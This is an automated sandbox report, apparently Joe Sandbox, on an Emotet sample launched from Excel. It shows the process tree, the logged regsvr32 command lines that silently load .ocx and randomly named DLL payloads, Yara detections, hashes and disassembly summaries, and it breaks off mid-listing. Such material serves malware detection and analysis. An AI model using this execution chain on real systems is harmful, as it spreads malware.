CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 2816, Parent PID: 576

General

Target ID:	0
Start time:	09:50:12
Start date:	23/05/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fad0000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2180, Parent PID: 2816

General

Target ID:	3
Start time:	09:50:22
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.917379514.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2420, Parent PID: 2180

General

Target ID:	4
Start time:	09:50:24
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\RrQZitdNyvCFEhe\pDnxsvRJXW.dll"
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1214643345.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.1215293806.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2408, Parent PID: 2816

General

Target ID:	5
Start time:	09:50:24
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.925354980.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.925541937.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 3020, Parent PID: 2408

General

Target ID:	6
Start time:	09:50:27
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MreGm\Zazriwdkuo.dll"
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.1215133055.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.1214621068.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2412, Parent PID: 2816

General

Target ID:	7
Start time:	09:50:29
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.932534809.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.932327058.00000000002E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2944, Parent PID: 2412

General

Target ID:	8
Start time:	09:50:31
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\AnDDvm\lwQjfM.dll"
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.1214454935.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.1215228939.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1740, Parent PID: 2816

General

Target ID:	9
Start time:	09:50:35
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.947582927.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.946842260.0000000000450000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2680, Parent PID: 1740

General

Target ID:	10
Start time:	09:50:37
Start date:	23/05/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\IvkabqgmpEJ\fEKh.dll"
Imagebase:	0xffa30000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1215258266.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1214677851.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 2180, Parent PID: 2816COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	2.3%
Signature Coverage:	10.3%
Total number of Nodes:	1849
Total number of Limit Nodes:	30

Executed Functions

Function 000007FEF9D212B0 Relevance: 144.4, APIs: 6, Strings: 76, Instructions: 872
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoLoadLibrary.OLE32 ref: 000007FEF9D22F02
MessageBoxA.USER32 ref: 000007FEF9D22F1C
ExitProcess.KERNEL32 ref: 000007FEF9D22F27
VirtualAlloc.KERNELBASE ref: 000007FEF9D22F57
RtlAllocateHeap.NTDLL ref: 000007FEF9D22F65
CoTaskMemFree.OLE32 ref: 000007FEF9D22F86

Strings

L`, xrefs: 000007FEF9D216A8
werfault.exe, xrefs: 000007FEF9D22E68
N tW, xrefs: 000007FEF9D2177A
kW]>, xrefs: 000007FEF9D21662
t/p, xrefs: 000007FEF9D21396
bkg2, xrefs: 000007FEF9D21326
c(kA, xrefs: 000007FEF9D228BE
_>zT, xrefs: 000007FEF9D21A7C
A+M, xrefs: 000007FEF9D2136E
b(/N, xrefs: 000007FEF9D22A3A
+80Z, xrefs: 000007FEF9D2195A
VqQS, xrefs: 000007FEF9D22CC4
k%$b, xrefs: 000007FEF9D217B6
?#, xrefs: 000007FEF9D2226A
9cnt, xrefs: 000007FEF9D22A62
QS}5, xrefs: 000007FEF9D22C6A
*p, xrefs: 000007FEF9D22116
:-ZZ, xrefs: 000007FEF9D21A04
L1&, xrefs: 000007FEF9D2258A
g(%", xrefs: 000007FEF9D2196E
"<t, xrefs: 000007FEF9D2191E
b('x, xrefs: 000007FEF9D21D9C
:Pt, xrefs: 000007FEF9D21477
w5M, xrefs: 000007FEF9D21E3C
3/Q, xrefs: 000007FEF9D22B52
!k}, xrefs: 000007FEF9D2222E
Qv5, xrefs: 000007FEF9D22B98
hH, xrefs: 000007FEF9D226FC
pw ~, xrefs: 000007FEF9D22756
kj, xrefs: 000007FEF9D21F7C
,'a, xrefs: 000007FEF9D224A4
iAk%, xrefs: 000007FEF9D221B6
uTQ2, xrefs: 000007FEF9D2230A
@+*, xrefs: 000007FEF9D22292
CwT>, xrefs: 000007FEF9D217DE
q.$, xrefs: 000007FEF9D21ACC
,kb(, xrefs: 000007FEF9D226DE
hH)}, xrefs: 000007FEF9D228DC
Pv5=, xrefs: 000007FEF9D2144D
Qp_*, xrefs: 000007FEF9D220B2
t+)s, xrefs: 000007FEF9D22288
$cb(, xrefs: 000007FEF9D215CC
pNR`, xrefs: 000007FEF9D21806
u'(, xrefs: 000007FEF9D21892
$v"P, xrefs: 000007FEF9D22E6F
gWQ>tTQv5MVM6qQS<jb(kAk%aQTGeMhH)59cj, xrefs: 000007FEF9D22FBB
o(fA, xrefs: 000007FEF9D21AA4
@kb(, xrefs: 000007FEF9D22328
oRP, xrefs: 000007FEF9D22E54
]=5[, xrefs: 000007FEF9D222A6
"BQa, xrefs: 000007FEF9D21415
N7#6, xrefs: 000007FEF9D21A36
xT]v, xrefs: 000007FEF9D218A6
[`, xrefs: 000007FEF9D218CE
+sui, xrefs: 000007FEF9D22DE6
-~5, xrefs: 000007FEF9D21946
aZ., xrefs: 000007FEF9D228C8
k%a^, xrefs: 000007FEF9D2215C
1>#J, xrefs: 000007FEF9D21485
}LhH, xrefs: 000007FEF9D229F4
1+t, xrefs: 000007FEF9D22C9C
aEy, xrefs: 000007FEF9D21B6C
Qv}N, xrefs: 000007FEF9D224EA
GBQ+, xrefs: 000007FEF9D21720
|Oi, xrefs: 000007FEF9D22800
eMh, xrefs: 000007FEF9D21F90
p0, xrefs: 000007FEF9D22A94
1D4v, xrefs: 000007FEF9D21407
a%"^, xrefs: 000007FEF9D22026
)*E, xrefs: 000007FEF9D21D06
S<j, xrefs: 000007FEF9D22148
aQTH, xrefs: 000007FEF9D226F2
#sa{, xrefs: 000007FEF9D2253A
_>zT, xrefs: 000007FEF9D216C6
^ir, xrefs: 000007FEF9D21C16
4cg, xrefs: 000007FEF9D21B8A

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AllocAllocateExitFreeHeapLibraryLoadMessageProcessTaskVirtual
String ID: :Pt$aZ.$!k}$"<t$"BQa$#sa{$$cb($$v"P$)*E$*p$+80Z$+sui$,'a$,kb($-~5$1+t$1>#J$1D4v$3/Q$4cg$9cnt$:-ZZ$?#$@kb($A+M$CwT>$GBQ+$N tW$N7#6$Pv5=$QS}5$Qp_*$Qv5$Qv}N$VqQS$[`$]=5[$^ir$_>zT$_>zT$a%"^$aQTH$b('x$b(/N$bkg2$c(kA$eMh$g(%"$gWQ>tTQv5MVM6qQS<jb(kAk%aQTGeMhH)59cj$hH)}$iAk%$kj$k%$b$k%a^$kW]>$o(fA$oRP$pNR`$pw ~$p0$q.$$t+)s$t/p$uTQ2$u'($werfault.exe$xT]v$}LhH$L`$@+*$L1&$S<j$aEy$w5M$|Oi$hH
API String ID: 2181984824-2091011546
Opcode ID: 1c06ffdaf7f78c717c8658d928c07ebd4f6ae3fbc6f84201f2b376329c5d69d0
Instruction ID: bb29df52505e4adc914c7d7009f7ad667354b97652f73d457c5e5bdb89db6ee0
Opcode Fuzzy Hash: 1c06ffdaf7f78c717c8658d928c07ebd4f6ae3fbc6f84201f2b376329c5d69d0
Instruction Fuzzy Hash: 3FE2C8B250A7C18FE3748F66AE847DD3AA1F341748F609208C3991FA1DCB7A5255CF86

Uniqueness

Uniqueness Score: -1.00%

Function 002C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 002C0450
GetNativeSystemInfo.KERNEL32 ref: 002C0539
VirtualAlloc.KERNELBASE ref: 002C0580
VirtualProtect.KERNELBASE ref: 002C09E9

Strings

urce, xrefs: 002C0340
rote, xrefs: 002C0106
ncti, xrefs: 002C016A
Load, xrefs: 002C02F4
aryA, xrefs: 002C00D8
tion, xrefs: 002C0128
lloc, xrefs: 002C00F0
Lock, xrefs: 002C0330
ualA, xrefs: 002C00E8
sour, xrefs: 002C031F
Size, xrefs: 002C0311
GetN, xrefs: 002C0136
urce, xrefs: 002C0304
truc, xrefs: 002C0121
Reso, xrefs: 002C0338
temI, xrefs: 002C014B
ofRe, xrefs: 002C0318
eSys, xrefs: 002C0144
urce, xrefs: 002C02E7
urce, xrefs: 002C035D
Reso, xrefs: 002C02DB
Reso, xrefs: 002C02FC
Virt, xrefs: 002C00F8
RtlA, xrefs: 002C015C
Slee, xrefs: 002C00B7
ddFu, xrefs: 002C0163
hIns, xrefs: 002C011A
Cach, xrefs: 002C012F
Find, xrefs: 002C02D0
ativ, xrefs: 002C013D
ualP, xrefs: 002C00FF
onTa, xrefs: 002C0171
Flus, xrefs: 002C0113
Free, xrefs: 002C034D
Libr, xrefs: 002C00D0
Reso, xrefs: 002C0355
Virt, xrefs: 002C00E0
Load, xrefs: 002C00C8

Memory Dump Source

Source File: 00000003.00000002.917322468.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 002C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 8ba112336fca9ef7a8b35a4b59e0e013f0f36789ae3b83468f658d617256cfb9
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: 1A72C630628B49CBDB29DF18C885BB9B7E1FB98305F10472DE88AD7211DB34D956CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800165E4 Relevance: 10.4, Strings: 8, Instructions: 443
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5%dv, xrefs: 0000000180016F0D
"98, xrefs: 000000018001697E
!X, xrefs: 0000000180016BEA
RXrB, xrefs: 0000000180016AF3
t, xrefs: 0000000180016677
}k=, xrefs: 0000000180016954
-~, xrefs: 000000018001685B
t, xrefs: 0000000180016E94

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -~$!X$"98$5%dv$RXrB$}k=$t$t
API String ID: 0-2601355769
Opcode ID: 1ffe31184e489043dfc0ad9b25877cc2ca41a6506ccf0b542c306d1cb23fc7eb
Instruction ID: 40fa059977533c12daa4c197ac7ec32be5dd4a9ad21ad0dd792eee812670dda9
Opcode Fuzzy Hash: 1ffe31184e489043dfc0ad9b25877cc2ca41a6506ccf0b542c306d1cb23fc7eb
Instruction Fuzzy Hash: 4E32F4B1A0578C8BCBB9CF68C8997DD7BF0FB48318F90521DEA099B251CB745A45CB18

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011E5C Relevance: 8.0, Strings: 6, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 00000001800120CE
UI, xrefs: 000000018001228A
:j, xrefs: 000000018001216C
UI, xrefs: 000000018001243F
5, xrefs: 00000001800123F7
@u, xrefs: 0000000180012023

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :j$UI$UI$/$5$@u
API String ID: 0-1744832406
Opcode ID: d5fbd5fb42e64105118402a22ae1fd0938665267daf4f484be707b3cdea1b60d
Instruction ID: 62cabd7460019d857fad8ef6802a9940dae2da1dd4c69d60ad9891f806a9e916
Opcode Fuzzy Hash: d5fbd5fb42e64105118402a22ae1fd0938665267daf4f484be707b3cdea1b60d
Instruction Fuzzy Hash: 35421971A1470EDFCB58DFA8C49A6EEBBF2FB44348F008159E806A7250DB719619CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026F14 Relevance: 6.9, Strings: 5, Instructions: 675
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?'3, xrefs: 00000001800276DA
[9S, xrefs: 0000000180027341
yc, xrefs: 0000000180027966
F:^-, xrefs: 00000001800278E6
zUP, xrefs: 0000000180027817

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: F:^-$[9S$zUP$?'3$yc
API String ID: 0-3875576172
Opcode ID: 149e3d3d365d4ff99a41c49fe7a0ea6fd866fcc9ad2b25dafda07a3e1acf3aff
Instruction ID: acf5a29543b44a4ac2cab22a28fc6f208f1c2d96f0abb29e90a070f971d4b191
Opcode Fuzzy Hash: 149e3d3d365d4ff99a41c49fe7a0ea6fd866fcc9ad2b25dafda07a3e1acf3aff
Instruction Fuzzy Hash: 13720C7050038E8FDF49DF24C88A6DE3BA1FB68388F114619FC56962A1C7B4DA65CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016320 Relevance: 6.4, Strings: 5, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

>], xrefs: 0000000180016377
{Wo, xrefs: 00000001800164EE
!, xrefs: 0000000180016583
vM/, xrefs: 0000000180016469
>], xrefs: 0000000180016390

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !$>]$>]$vM/${Wo
API String ID: 0-1672528178
Opcode ID: 3476f63b1fd483a3e4edb66e4c1250727eb216b571a6250b7c7aa87006e10f17
Instruction ID: 47ac1da3a1e26fe678bf2a9ce2069fe56df1d0f6d245f307fc2b30da9b08538d
Opcode Fuzzy Hash: 3476f63b1fd483a3e4edb66e4c1250727eb216b571a6250b7c7aa87006e10f17
Instruction Fuzzy Hash: 5C81197051464CABDBE9DF28C8C9BDD3BA0FB58394F906119FD02862A0DB74D9C5CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001378 Relevance: 5.4, Strings: 4, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L\`, xrefs: 000000018000186E
vr, xrefs: 0000000180001725
%DcZ, xrefs: 000000018000147D
u%, xrefs: 0000000180001568

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %DcZ$L\`$u%$vr
API String ID: 0-873403245
Opcode ID: 2030f1da5196c9f476bb93962b4ebdec29646a183379a03d07fdefea4280d3e9
Instruction ID: 7a4330a3d3912fed14e69a2d18b4041e28774fe6b527757d4cbe653c4a95fa98
Opcode Fuzzy Hash: 2030f1da5196c9f476bb93962b4ebdec29646a183379a03d07fdefea4280d3e9
Instruction Fuzzy Hash: 0912F47152068CDFCB8CDF28C88AADD7BA1FB48398F956219FD0A97250D774D984CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001D58 Relevance: 5.3, Strings: 4, Instructions: 321
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%T, xrefs: 00000001800023DB
~V6k, xrefs: 000000018000228D
\, xrefs: 0000000180002017
.mZ, xrefs: 0000000180001EF0

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .mZ$\$~V6k$%T
API String ID: 0-3287852823
Opcode ID: ccbc70a1b43ffc6d5414b274ff0ecbed60153be03e3051f192a6aa15e06d1cac
Instruction ID: 166b9a2b8c7d7ea13ff64321e1c32e26f96a2e299ccb60065a18498a6503f561
Opcode Fuzzy Hash: ccbc70a1b43ffc6d5414b274ff0ecbed60153be03e3051f192a6aa15e06d1cac
Instruction Fuzzy Hash: 0402E8711013C8CBEBBECFA4D885BD97BA9FB44B44F10661AE84AAE250CBB45745CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28860 Relevance: 4.5, APIs: 3, Instructions: 25
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28876
GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D28891
HeapSetInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000007FEF9D233C2), ref: 000007FEF9D288BB

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction ID: 9235811b63a60011062a1442a231d54292fe2d432e51c42db702af6c27d11e97
Opcode Fuzzy Hash: 48cf33cfee9be34a63005782b3e03b00dcbae59413766f72d2946869900c76f4
Instruction Fuzzy Hash: 50F0FE74A18A4282F7949729AC0977E63D0B758345FA1C43696CD826B4DF3F9589C601

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002C6C8 Relevance: 4.0, Strings: 3, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

078, xrefs: 000000018002CA90
GDo, xrefs: 000000018002CA1E
}, xrefs: 000000018002C94C

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 078$GDo$}
API String ID: 0-303245572
Opcode ID: 8956c442c33fd1cde17bd2344d54593dce01cac8c777ad426ea07fe8eec3f5fb
Instruction ID: 0c94e6823936b68487d3afc04f5daf4118d9ac6b30c0afcc694cd4a40111a1d0
Opcode Fuzzy Hash: 8956c442c33fd1cde17bd2344d54593dce01cac8c777ad426ea07fe8eec3f5fb
Instruction Fuzzy Hash: 32D1CAB051A784AFC398DF28C1CA94BBBE0FB84754F906A1DF88686260D7B0D945CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025C30 Relevance: 3.8, Strings: 3, Instructions: 79COMMON

Download Yara Rule

Strings

f , xrefs: 0000000180025C46
wC, xrefs: 0000000180025D70
e@-0, xrefs: 0000000180025CC7

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: e@-0$f $wC
API String ID: 0-2741453468
Opcode ID: 6e670c046987691f0a1e9af823784eece018238e228c51a72b7d39087d84c909
Instruction ID: f8f9b13c1cb793f3116966172e7ed192e0f5529545d7cab8ca7c6d0d9d04acad
Opcode Fuzzy Hash: 6e670c046987691f0a1e9af823784eece018238e228c51a72b7d39087d84c909
Instruction Fuzzy Hash: E2319571518B848FD3A8DF28C48975ABBE1FB84344F608A1DE6DACB260DB709549CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002C2C8 Relevance: 2.6, Strings: 2, Instructions: 126COMMON

Download Yara Rule

Strings

L=`, xrefs: 000000018002C48A
rKS(, xrefs: 000000018002C482

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L=`$rKS(
API String ID: 0-4157335196
Opcode ID: 0ffd1ea2413f9b71380f5aeaf5e19bad7dcec336af59defbaf39c2d3ae1cfae5
Instruction ID: c6b4aee86e77721e5ec6a37c1ce5251b52915c7d30808e23b45806a77bf6ffc0
Opcode Fuzzy Hash: 0ffd1ea2413f9b71380f5aeaf5e19bad7dcec336af59defbaf39c2d3ae1cfae5
Instruction Fuzzy Hash: FD51BC705183848FC769DF29C18A64BBBF1FBC6784F108A1DE69A86261D772D909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026410 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

8h, xrefs: 0000000180026741

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8h
API String ID: 0-2787117397
Opcode ID: d20b5c2dabe29708a31ba0e8275e2e5ac6bcf12f9e6970397621dbc27d768f27
Instruction ID: eb392778bd881193a348804f8d52045fa41d3382a0d9eae0dd8f361f159f4541
Opcode Fuzzy Hash: d20b5c2dabe29708a31ba0e8275e2e5ac6bcf12f9e6970397621dbc27d768f27
Instruction Fuzzy Hash: 28D12E7060578C8FEBBADF24CC997DE3BA0FB49744F504219D88A8E260CB745B49CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27640 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.KERNEL32 ref: 000007FEF9D2764C
_calloc_dbg.LIBCMTD ref: 000007FEF9D27671

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

